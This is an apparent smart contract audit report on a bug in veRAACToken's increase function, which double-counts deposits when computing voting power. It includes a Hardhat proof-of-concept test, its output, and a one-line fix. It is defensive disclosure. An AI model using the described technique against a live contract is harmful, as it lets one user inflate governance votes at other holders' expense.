Summary
The veRAACToken::increase
function is meant to allow users to add more tokens to an existing lock without changing the unlock time. This function should properly update the state of the _lockState, _boostState, _votingState and _checkpointState
. However, the current code accidentally doubles the voting power credited to the users for the amount
deposited.
Vulnerability Details
Assuming a 1:1 ratio between the amount
deposited and voting power, if a user increases their locked tokens amount by 100, they should get an extra 100 voting power, but the current code will actually give users an extra 200 voting power (it doubles the amount every time).
How and why this happens?
Look at the increase
function
function increase(uint256 amount) external nonReentrant whenNotPaused {
_lockState.increaseLock(msg.sender, amount);
}
When called, the first thing that this function does is to update a user's Lock
.
function increaseLock(...) internal {
lock.amount += additionalAmount;
state.totalLocked += additionalAmount;
emit LockIncreased(user, additionalAmount);
}
At this point, the user's _lockState.locks[user].amount
was already incremented.
Back in the veRAACToken::increase
function we continue
function increase(uint256 amount) external nonReentrant whenNotPaused {
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
userLock.amount + amount,
userLock.end
);
}
Root cause
The veRAACToken::increase
function erroneously doubles the voting power credited to users for their deposits. The function first increments a user's userLock.amount
but when computing the new voting power for a user the function passes userLock.amount + amount
. At this point, the new amount
was already credited to the user inside the _lockState.increaseLock()
function call and we shouldn't add it again when computing the new voting power.
Impact
Users can game the system and artificially inflate their voting power. This allows them to have a bigger influence over the governance of the system when voting on proposals.
PoC
Put the following test in the veRAACToken.test.js
file
it.only("prove inflated voting power", async () => {
const initialAmount = ethers.parseEther("1000");
const additionalAmount = ethers.parseEther("1000");
const amountUser2 = ethers.parseEther("2000");
const duration = 365 * 24 * 3600;
await veRAACToken.connect(users[0]).lock(initialAmount, duration);
await veRAACToken.connect(users[1]).lock(amountUser2, duration);
const votingPower = await veRAACToken.balanceOf(users[0].address);
const votingPowerUser2 = await veRAACToken.balanceOf(users[1].address);
console.log("Voting power user A after 1000 deposit = ", votingPower);
console.log(
"Voting power user B after 2000 deposit = ",
votingPowerUser2
);
await expect(veRAACToken.connect(users[0]).increase(additionalAmount))
.to.emit(veRAACToken, "LockIncreased")
.withArgs(users[0].address, additionalAmount);
const position = await veRAACToken.getLockPosition(users[0].address);
expect(position.amount).to.equal(initialAmount + additionalAmount);
const votingPowerAfterIncrease = await veRAACToken.balanceOf(
users[0].address
);
console.log(
"Voting power user A after another 1000 deposit = ",
votingPowerAfterIncrease
);
console.log(
"Both users deposited 2000 at this point but user A's voting power is",
votingPowerAfterIncrease,
"while user B has",
votingPowerUser2
);
});
Test output
npm run test:unit:tokens
> @raac/core@1.0.0 test:unit:tokens
> npx hardhat test test/unit/core/tokens
veRAACToken
Lock Mechanism
Voting power user A after 1000 deposit = 250000000000000000000n
Voting power user B after 2000 deposit = 500000000000000000000n
Voting power user A after another 1000 deposit = 750000000000000000000n
Both users deposited 2000 at this point but user A's voting power is 750000000000000000000n while user B has 500000000000000000000n
✔ prove inflated voting power
1 passing (3s)
The test clearly shows two users who deposited the same amount of tokens. One user deposited 1000 tokens by calling lock
and then another 1000 by calling the increase
function, while the other one deposited all the tokens in one go via the lock
function. They should have the same voting power, but they don't. The user that deposited 1000 tokens via increase
got double voting power and overall has 50% more voting power than the second user.
Tools Used
Manual review
Recommended Mitigation
Remove the amount
parameter passed to the _votingState.calculateAndUpdatePower
function.
function increase(uint256 amount) external nonReentrant whenNotPaused {
//..
//..
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
- userLock.amount + amount,
+ userLock.amount,
userLock.end
);
//..
//..
}